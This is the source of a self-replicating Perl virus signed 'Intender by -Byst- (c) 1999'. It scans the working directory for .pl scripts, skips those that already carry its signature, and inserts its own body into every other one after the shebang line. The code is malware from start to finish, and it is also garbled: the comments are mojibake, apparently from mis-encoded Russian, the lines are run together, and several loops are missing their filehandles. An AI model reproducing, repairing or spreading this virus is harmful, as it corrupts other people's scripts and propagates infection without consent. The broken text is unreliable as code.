#here virus starts # Intender by -Byst- (c) 1999 $source = __FILE__; while (<*.pl>) { $name = $_; # ˆ¬ï ä ©« -¦¥àâ¢ë $cname = crypt($name,$name); # ˆ¬ï ¯à®¬¥¦ãâ®ç­®£® ä ©« # à®¢¥à¨¬ ­¥ ¨­ä¨æ¨à®¢ ­ «¨ 㦥 ä ©«? open(TARGET,"<$name"); # ¦¥à⢠$allready_infected = 0; while () { if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0) { $allready_infected = 1;} # 㦥 ¨­ä¨æ¨à®¢ ­! } close(TARGET); if ($allready_infected == 1 ) { next;} # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥ # à®¢¥à¨¬, ­¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯ !/usr/bin/perl open(TARGET,"<$name"); # ¦¥à⢠$flag = 0; while () { if (index($_,"\x23!") == 0) #  諨 â ªãî áâபã { $flag = 1;} # ¢§¢®¤¨¬ ä« £ } close(TARGET); # ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨­ä¨æ¨à®¢ ­¨ï open(TARGET,"<$name"); # ¦¥à⢠open(FBUF,">$cname"); # ¯à®¬¥¦ãâ®ç­ë© ä ©« if ($flag == 1) { # ã ¦¥àâ¢ë ¥áâì ®¡®§­ 祭¨¥ ­ ç « ¯à®£à ¬¬ë? while () { # ¨é¥¬ ¥£® print(FBUF); # á®åà ­ï¥¬ ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #! if (index($_,"\x23!") == 0 ) # £ , ¢®â ¨ ­ ç «® ¯à®£à ¬¬ë { last;} } } # ¨é¥¬ ⥫ ¯à®æ¥¤ãà $_ = "\n";print(FBUF); open(SOURCE,"<$source"); # â ªãî騩 ä ©« while() { # ¨é¥¬ ¯à¨§­ ª ­ ç « - "#here virus starts" if (index($_,"\x23here virus starts") == 0) { last;} } print(FBUF); # ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®ç­ë© ä ©« while () { print(FBUF); if (index($_,"\x23here virus ends") == 0) { last;} } close(SOURCE); $_ = "\n";print(FBUF); # ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®ç­ë© ä ©« while () { print(FBUF); } close(TARGET); close(FBUF); rename($cname,$name); } #here virus ends